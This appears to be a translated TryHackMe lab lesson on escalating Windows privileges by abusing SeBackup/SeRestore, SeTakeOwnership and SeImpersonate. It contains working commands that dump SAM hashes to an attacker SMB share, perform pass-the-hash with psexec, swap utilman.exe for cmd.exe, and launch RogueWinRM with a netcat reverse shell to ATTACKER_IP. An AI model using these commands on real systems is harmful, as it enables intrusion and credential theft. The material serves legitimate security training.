【THM-课程内容】:Privilege Escalation-Windows Privilege Escalation:Abusing dangerous privileges
2026/4/18 8:33:29 网站建设 项目流程

Windows Privileges

Privileges是帐户执行特定系统相关任务的权限。这些任务可以简单到关闭机器的权限,也可以简单到绕过一些基于DACL的访问控制的权限。

每个用户都有一组分配的权限,可以使用以下命令进行检查:

whoami /priv

(Privilege Constants (Winnt.h) - Win32 apps | Microsoft Learn)此处提供了Windows系统上可用特权的完整列表。从攻击者的角度来看,只有那些允许我们在系统中升级的特权才有意义。您可以在(GitHub - gtworek/Priv2Admin: Exploitation paths allowing you to (mis)use the Windows Privileges to elevate your rights within the OS. · GitHub)项目上找到可利用特权的完整列表。

虽然我们不会逐一介绍,但我们将展示如何滥用您能找到的一些最常见的特权。

SeBackup / SeRestore

SeBackup和SeRestore权限允许用户读取和写入系统中的任何文件,忽略任何DACL。此权限背后的想法是允许某些用户从系统执行备份,而不需要完全的管理权限。

拥有这种能力,攻击者可以通过使用许多技术轻松升级系统上的权限。我们将探讨的方法包括复制SAM和SYSTEM注册表配置单元,以提取本地管理员的密码哈希。

此帐户是“备份操作员”组的一部分,默认情况下,该组被授予SeBackup和SeRestore权限。我们需要使用“以管理员身份打开”选项打开命令提示符来使用这些权限。我们将被要求再次输入密码以获得提升的控制台:

在命令提示符下,我们可以使用以下命令检查我们的权限:

C:\> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ============================== ======== SeBackupPrivilege Back up files and directories Disabled SeRestorePrivilege Restore files and directories Disabled SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

要备份SAM和SYSTEM哈希值,我们可以使用以下命令:

C:\> reg save hklm\system C:\Users\THMBackup\system.hive The operation completed successfully. C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive The operation completed successfully.

这将创建几个包含注册表配置单元内容的文件。我们现在可以使用SMB或任何其他可用方法将这些文件复制到攻击者机器上。对于SMB,我们可以使用impacket的smbserver.py启动一个简单的SMB服务器,该服务器在AttackBox的当前目录中具有网络共享:

user@attackerpc$ mkdir share user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

这将创建一个名为public的共享,指向共享目录,这需要我们当前windows会话的用户名和密码。在此之后,我们可以在windows计算机中使用copy命令将这两个文件传输到AttackBox:

C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\ C:\> copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

并使用impacket检索用户的密码哈希值:

user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation [*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

我们最终可以使用管理员的哈希来执行哈希传递攻击,并以SYSTEM权限访问目标机器:

user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@10.48.150.195 Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation [*] Requesting shares on 10.10.175.90..... [*] Found writable share ADMIN$ [*] Uploading file nfhtabqO.exe [*] Opening SVCManager on 10.10.175.90..... [*] Creating service RoLE on 10.10.175.90..... [*] Starting service RoLE..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32> whoami nt authority\system

SeTakeOwnership

SeTakeOwnership权限允许用户拥有系统上任何对象的所有权,包括文件和注册表项,这为攻击者提升权限开辟了许多可能性,例如,我们可以搜索以system运行的服务并获得该服务的可执行文件的所有权。然而,对于这项任务,我们将采取不同的路线。

要获得SeTakeOwnership权限,我们需要使用“以管理员身份打开”选项打开命令提示符。我们将被要求输入密码以获得提升的控制台:

在命令提示符下,我们可以使用以下命令检查我们的权限:

C:\> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ======================================== ======== SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

这次我们将通过滥用utilman.exe来升级权限。Utilman是一个内置的Windows应用程序,用于在锁屏期间提供轻松访问选项:

由于Utilman是以SYSTEM权限运行的,如果我们替换任何我们喜欢的负载的原始二进制文件,我们将有效地获得SYSTEM权限。由于我们可以拥有任何文件的所有权,因此替换它是轻而易举的。

要替换utilman,我们将首先使用以下命令获取它的所有权:

C:\> takeown /f C:\Windows\System32\Utilman.exe SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user "WINPRIVESC2\thmtakeownership".

请注意,作为文件的所有者并不一定意味着你对它有特权,但作为所有者,你可以为自己分配所需的任何特权。要授予用户对utilman.exe的完全权限,可以使用以下命令:

C:\> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F processed file: Utilman.exe Successfully processed 1 files; Failed processing 0 files

在此之后,我们将用cmd.exe的副本替换utilman.exe:

C:\Windows\System32\> copy cmd.exe utilman.exe 1 file(s) copied.

要触发utilman,我们将从开始按钮锁定屏幕:

最后,继续单击“易于访问”按钮,该按钮以SYSTEM权限运行utilman.exe。由于我们用cmd.exe副本替换了它,我们将得到一个具有SYSTEM权限的命令提示符:

SeImpersonate / SeAssignPrimaryToken

这些特权允许进程模拟其他用户并代表他们行事。模拟通常包括能够在另一个用户的安全上下文下生成进程或线程。

当你思考FTP服务器的工作原理时,模仿很容易理解。FTP服务器必须限制用户只能访问他们应该被允许查看的文件。

假设我们有一个使用用户FTP运行的FTP服务。如果没有模拟,如果用户Ann登录到FTP服务器并尝试访问她的文件,FTP服务将尝试使用其访问令牌而不是Ann的访问令牌来访问它们:

使用ftp令牌不是最好的主意有几个原因:-为了正确提供文件,ftp用户需要可以访问它们。在上面的例子中,FTP服务将能够访问Ann的文件,但不能访问Bill的文件,因为Bill文件中的DACL不允许用户FTP。这增加了复杂性,因为我们必须为每个服务的文件/目录手动配置特定的权限。-对于操作系统,所有文件都由用户ftp访问,与当前登录ftp服务的用户无关。这使得无法将授权委托给操作系统;因此,FTP服务必须实现它。-如果FTP服务在某个时候受到攻击,攻击者将立即访问FTP用户可以访问的所有文件夹。

另一方面,如果FTP服务的用户具有SeImpersonate或SeAssignPrimaryToken权限,则所有这些都会稍微简化,因为FTP服务可以临时获取登录用户的访问令牌,并使用它来代表他们执行任何任务:

现在,如果用户Ann登录到FTP服务,并且给定FTP用户具有模拟权限,则它可以借用Ann的访问令牌并使用它来访问她的文件。这样,文件就不需要以任何方式提供对用户ftp的访问,操作系统会处理授权。由于FTP服务正在模拟Ann,因此在该会话期间将无法访问Jude或Bill的文件。

作为攻击者,如果我们设法用SeImpersonate或SeAssignPrimaryToken权限控制一个进程,我们就可以冒充任何连接并验证该进程的用户。

在Windows系统中,您会发现本地服务和网络服务帐户已经具有此类权限。由于这些帐户用于使用受限帐户生成服务,因此如果服务需要,允许它们模拟连接用户是有意义的。Internet信息服务(IIS)还将为web应用程序创建一个名为“IIS apppool\defaultapppool”的类似默认帐户。

要使用此类帐户提升权限,攻击者需要以下条件:1。生成一个进程,以便用户可以连接并验证它以进行模拟。2.找到一种方法来强制特权用户连接并验证生成的恶意进程。

我们将使用RogueWinRM漏洞来实现这两个条件。

让我们首先假设我们已经破坏了一个在IIS上运行的网站,并且我们在以下地址上植入了一个web shell:

http://10.48.150.195/

我们可以使用web shell检查被入侵帐户的分配权限,并确认我们拥有此任务的两个相关权限:

要使用RogueWinRM,我们首先需要将漏洞上传到目标计算机。为了您的方便,这已经完成了,您可以在C:\tools\文件夹中找到该漏洞。

RogueWinRM漏洞是可能的,因为每当用户(包括无权限用户)在Windows中启动BITS服务时,它都会使用SYSTEM权限自动创建到端口5985的连接。端口5985通常用于WinRM服务,它只是一个暴露Powershell控制台以通过网络远程使用的端口。可以把它想象成SSH,但使用Powershell。

如果由于某种原因,WinRM服务未在受害者服务器上运行,则攻击者可以在端口5985上启动虚假的WinRM服务,并在启动时捕获BITS服务进行的身份验证尝试。如果攻击者具有SeImpersonate权限,他可以代表连接的用户(即SYSTEM)执行任何命令。


在运行漏洞之前,我们将启动一个netcat监听器,在攻击者的机器上接收一个反向shell:

user@attackerpc$ nc -lvp 4442

然后,使用我们的web shell使用以下命令触发RogueWinRM漏洞:

c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"

注意:该漏洞可能需要2分钟才能工作,因此您的浏览器可能会在一段时间内显示为无响应。如果您多次运行该漏洞,就会发生这种情况,因为它必须等待BITS服务停止才能再次启动。BITS服务将在启动2分钟后自动停止。

-p参数指定漏洞利用程序要运行的可执行文件,在本例中为nc64.exe。-a参数用于将参数传递给可执行文件。由于我们希望nc64针对我们的攻击者机器建立一个反向shell,因此传递给netcat的参数将是-e cmd.exe ATTACHER_IP 4442。

如果所有设置都正确,您应该期望一个具有SYSTEM权限的shell:

user@attackerpc$ nc -lvp 4442 Listening on 0.0.0.0 4442 Connection received on 10.10.175.90 49755 Microsoft Windows [Version 10.0.17763.1821] (c) 2018 Microsoft Corporation. All rights reserved. c:\windows\system32\inetsrv>whoami nt authority\system

使用本任务中讨论的三种方法中的任何一种,访问管理员的桌面并收集标志。别忘了在任务结束时输入标志。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询